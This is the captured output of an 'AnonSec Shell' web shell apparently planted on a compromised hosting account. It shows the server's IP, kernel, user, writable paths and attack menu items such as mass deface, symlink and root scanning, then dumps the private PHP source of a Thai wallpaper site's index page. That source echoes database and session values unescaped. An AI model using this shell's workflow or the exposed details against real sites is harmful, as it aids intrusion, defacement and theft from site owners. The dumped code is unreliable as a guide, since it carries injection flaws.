AnonSec Shell
Server IP : 104.21.37.246  /  Your IP : 104.23.243.32   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/cp648411/www/simded.com/wallpaper/home/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/cp648411/www/simded.com/wallpaper/home/index.php
<?php include('../include/class.php');?>
<!DOCTYPE html>
<html lang="en">

<head>

    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <!-- The above 3 meta tags *must* come first in the head; any other head content must come *after* these tags -->

    <link rel="apple-touch-icon" href="../../image/icon.png" />
    <link rel="apple-touch-icon" sizes="72x72" href="../../image/icon.png" />
    <link rel="apple-touch-icon" sizes="114x114" href="../../image/icon.png" />

    <link rel="icon" href="../../images/favicon.ico">
    <?php
      $og_title = 'วอลเปเปอร์สายมู';
      $description_fa = 'วอลเปเปอร์สายมู เพื่อความสิริมงคล ';
      $og_image = 'https://www.simded.com/wallpaper/600315.jpg';
      $og_image2 = 'https://www.simded.com/wallpaper/600315.jpg';
      $og_image3 = 'http://www.simded.com/wallpaper/600315.jpg';
    ?>
    <?php
      $_SESSION["wal_member_login"]=0;
      $_SESSION['wal_member_id']=$_COOKIE[$cookie_name];
      if($_SESSION["wal_member_login"]==''){
        $_SESSION["wal_member_name"] = '';
        $_SESSION["wal_member_lastname"] = '';

      }
    ?>

    <?php include('../include/meta.php');?>

    <meta property="og:image" content="<?php echo $og_image?>">
    <meta property="og:image:secure_url" content="<?php echo $og_image3?>">
    <meta property="og:image:type" content="image/jpeg">
    <meta property="og:image:width" content="600">
    <meta property="og:image:height" content="315">
    <!--
    <link href="../../bootstrap/css/bootstrap.min.css" rel="stylesheet">

    -->
    <script src="../../bootstrap/js/ie-emulation-modes-warning.js"></script>

    <!-- Bootstrap core CSS -->
    <link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css" rel="stylesheet">


    <link href="../../css/style_wall2.css?v=1.2" rel="stylesheet">
    <link href="../../css/style.css?v=1.2" rel="stylesheet">
    <script src="../include/function.js"></script>
</head>

<body>
    <?php include('style.php')?>

    <?php $menu = 'wallpaper';?>
    <?php include('../themev2/menu.php')?>
    <?php include('../banner/index.php')?>

    <?php
      function getMBStrSplit($string, $split_length = 1){
        mb_internal_encoding('UTF-8');
        mb_regex_encoding('UTF-8');

        $split_length = ($split_length <= 0) ? 1 : $split_length;
        $mb_strlen = mb_strlen($string, 'utf-8');
        $array = array();
        $i = 0;

        while($i < $mb_strlen)
        {
          $array[] = mb_substr($string, $i, $split_length);
          $i = $i+$split_length;
        }

        return $array;
      }

      function getSubStrTH($string, $start, $length){
        //$length = ($length+$start)-1;
        $array = getMBStrSplit($string);
        $return ="";
        //print_r($array);
        for($i=$start; $i < count($array); $i++)
        {
          //echo $array[$i];

          //echo preg_match("/[^ก-ฮA-Za-z0-9]+/", $array[$i]).'<br>';
          if( preg_match("/^[ก-ฮA-Za-z0-9]+$/", $array[$i]) ) {

            if($return==''){
              $return = $array[$i];
            }
          }
        }
        return $return;
      }

      $str = $_SESSION["wal_member_name"];
      $txt = getSubStrTH($str, 0, 1); // ประเทศไทย
    ?>
    <div class="bg-3-cover">
      <div class="container">
          <?php //include('../themev2/translate.php'); ?>
      </div>
      
      <div class="container">
        <div class="row">
            <div class="col-md-2"></div>
            <div class="col-md-8">
                <div style="margin-top:0px;">
                    <div align="center" style="padding:0px 0px 15px 0; ">
                        <!--<img src="../../image/wal_logo3.png" width="665" height="110" class="img-responsive">-->
                        <div class="HeadTextXL text-center text-light my-3">วอลเปเปอร์มงคล
                        </div>
                    </div>
                </div>

                <?php if(@$_SESSION["wal_member_name"]){ ?>
                <div id="txt" style="margin-top:15px;">
                    <div align="center" style="display: flex; justify-content: center;align-items: center;">
                        <div class="txt-p"><?php echo $txt; ?></div>
                        <span style="padding-left: 8px;"><?php echo @$_SESSION["wal_member_name"]; ?></span>
                    </div>
                </div>
                <?php } ?>

            </div>
        </div>

        <div class="row">

            <div class="col-md-12">
                <div class="row" style="margin-top:0px;">
                    <?php
                      $max_rows = 12; // แสดงจำนวนแถวต่อหน้า
                      $page_number = 0;
                      if(isset($_GET['page_number']))
                      {
                        $page_number = $_GET['page_number'];
                      }

                      $sql_s = 'status = "1"';
                      $all_array =  array('table'=>'wallpapers','where'=>$sql_s);
                      $start_row = $page_number * $max_rows;
                      $all_sql = $view_db->view($all_array);
                      $all_result = $view_db->q_re($all_sql);
                      $total_rows = $view_db->q_nr($all_result);
                      $total_rows_num = mysqli_num_rows($all_result);
                      $total_pages = ceil($total_rows/$max_rows)-1;
                      ////////////////////////////////////////
                      $list = array('table'=>'wallpapers','where'=>$sql_s, 'limit'=> "$start_row,$max_rows",'order'=> "ORDER BY id DESC");
                      $view = $view_db->view($list);
                      $result = $view_db->q_re($view);
                      $num_tr = 1;
                      $num = 1+($page_number*$max_rows);
                      $category_n=array();
                      while($row_se = $view_db->q_ro($result))
                      {
                      $link_s='predict.php?name='.$row_se['id'];
                      $category_n = explode(',',$row_se['category']);
                      if($row_se['status2']==1){$sta = "ใหม่"; $color_b = '#c61318'; $color_text = 'color: #ffffff;';}
                      if($row_se['status2']==2){$sta = "แนะนำ"; $color_b = '#310b3c'; $color_text = 'color: #ffffff;';}

                    ?>
                    <div class="col-md-6 col-xs-12 col-sm-12 Divmeasure pb-3 pb-lg-0">
                        <div class="div_measure ">
                            <div class="row">
                                <div class="col-md-4 col-xs-12 col-sm-5 ">
                                    <?php if($row_se['status2']<>3){ ?>
                                    <span class="hilight_new"
                                        style="border: 50px solid <?php echo $color_b; ?>;border-bottom: 50px solid transparent;border-right: 50px solid transparent;"></span>
                                    <?php } ?>
                                    <?php if($row_se['status2']<>3){ ?>
                                    <span class="hilight_new2"
                                        style="<?php echo @$color_text; ?>"><?php echo $sta; ?></span>
                                    <?php } ?>
                                    <div style="padding-top:14px;padding-left: 29px;padding-right: 29px;"
                                        align="center">
                                        <a href="<?php echo $link_s; ?>">
                                            <img src="../../redbag/wallpaper/thumb/<?php echo ($row_se['image_show']!='')?$row_se['image_show']:$row_se['image']; ?>"
                                                width="135" class=" img-responsive2">
                                        </a>

                                    </div>
                                </div>
                                <div class="col-md-8 col-xs-12 col-sm-7">
                                    <div class="mt-1 mt-md-3" style=" padding-bottom: 10px;" align="center"
                                        onclick="location.href='<?php echo $link_s; ?>'">

                                        <?php
                                          $css_text = '';
                                          $css_text2 = '';
                                          if(strlen($row_se['detail']) > 70){ $css_text = 'font-size:14px;';}               					 ?>
                                        <div class="div_measure_name" <?php echo $css_text; ?>>
                                            <?php
                                            $list_c = array('table'=>'wal_category','where'=>'id = "'.$row_se['name'].'"');
                                            $view_c = $view_db->view($list_c);
                                            $row_c = $view_db->q($view_c);
                                              ?>
                                            <div class="div_text_cut2"><?php echo $row_c['name']; ?></div>
                                            <?php
                                              $text_category = explode(',',$row_se['name_m']);
                                              $text_category2 = '';
                                              if($text_category[0]!=''){
                                                for ($i=0; $i < count($text_category) ; $i++) {
                                                  $list_c2 = array('table'=>'wal_category_supplement','where'=>'id = "'.$text_category[$i].'"');
                                                  $view_c2 = $view_db->view($list_c2);
                                                  $row_c2 = $view_db->q($view_c2);
                                                  if(count($text_category) == 1 ){
                                                    $text_category2 = '( เสริม'.$row_c2['name'].' )';
                                                  }else{
                                                    if($text_category2==''){
                                                      $text_category2 = '( เสริม'.$row_c2['name'];
                                                    }else{
                                                      if($i == count($text_category)-1){
                                                        $text_category2 = $text_category2." และ".$row_c2['name'].' )';
                                                      }else {
                                                        $text_category2 = $text_category2." ".$row_c2['name'];
                                                      }
                                                    }

                                                  }
                                                }

                                              }
                                              if(strlen($text_category2) > 70){ $css_text2 = 'font-size:14px;';}
                                                if(strlen($text_category2) > 90){ $css_text2 = 'font-size:12px;';}
                                              ?>
                                            <div class="div_text_cut" style="color: #8c0506; <?php echo $css_text2; ?>">
                                                <?php echo $text_category2; ?> </div>
                                            <div class="div_text_cut3"
                                                style="<?php echo $css_text; ?> position: relative;">
                                                <?php echo $row_se['detail']; ?></div>

                                            <?php
                                              $list_tv = array('table'=>'wal_type_value','where'=>'id = "'.$row_se['type_value'].'"');
                                              $view_tv = $view_db->view($list_tv);
                                              $row_tv = $view_db->q($view_tv);
                                            ?>
                                            <div class="div_text_cut" style="color: #8c0506;font-size: 75%; ">
                                                (<?php echo $row_tv['name']; ?>)</div>
                                            <div class="div_text_cut">
                                                <?php
                                                  if($row_se['type']==1 && ($row_se['price']=='' || $row_se['price']==0)){
                                                    $ttt = 'color: #ffffff;';
                                                    $ttt2 = 'ฟรี';
                                                  }elseif($row_se['type']==1 &&  $row_se['price']>0){
                                                    $ttt = 'color: #ffffff;';
                                                    $ttt2 = 'ฟรี';
                                                  }else{
                                                    $ttt = '';
                                                    $ttt2 = 'ราคา '.$row_se['price'].' บาท';

                                                  }
                                                ?>
                                                <span style="<?php echo $ttt; ?> font-size: inherit;height: 100%;"
                                                    class="btn bt_login">
                                                    <?php echo  $ttt2; ?>
                                                </span>
                                                <!---->
                                                <?php
                                                  if($row_se['price'] <> 0){
                                                  if($row_se['type']==1){ 
                                                ?>
                                                <span style="font-size: 75%;text-decoration: line-through;">ราคา
                                                    <?php echo $row_se['price']; ?> บาท</span>
                                                <?php } } ?>
                                            </div>
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                    <?php } ?>
                </div>
                <div class="row" align="center" style="margin-top:30px;">
                    <div class="col-md-12 BerDedToday-page">
                        <?php
                        if($total_rows_num > 0)
                        {
                              page_news2($page_number,$total_pages);
                        }
                        ?>
                    </div>
                </div>
            </div>

        </div>
      </div>

      <div class="container">
        <div class="row">
          <div class="col-12 text-center">
            <?php include('../../include/ad_google.php'); ?>
          </div>
        </div>
      </div>
    </div>



    


    

    

    <script type="text/javascript">
      <?php if(@$_SESSION['er']){ ?>
        alert('<?php echo $_SESSION['er']; ?>');
      <?php } ?>
    </script>
    <?php
      unset($_SESSION['er']);
      unset($_SESSION['con']);
    ?>



    <!-- /.body -->
    <?php include('../themev2/footer2.php')?>
    <?php include('../include/footer_js.php')?>
    <?php include('../include/footer_js2.php')?>

Anon7 - 2022
AnonSec Team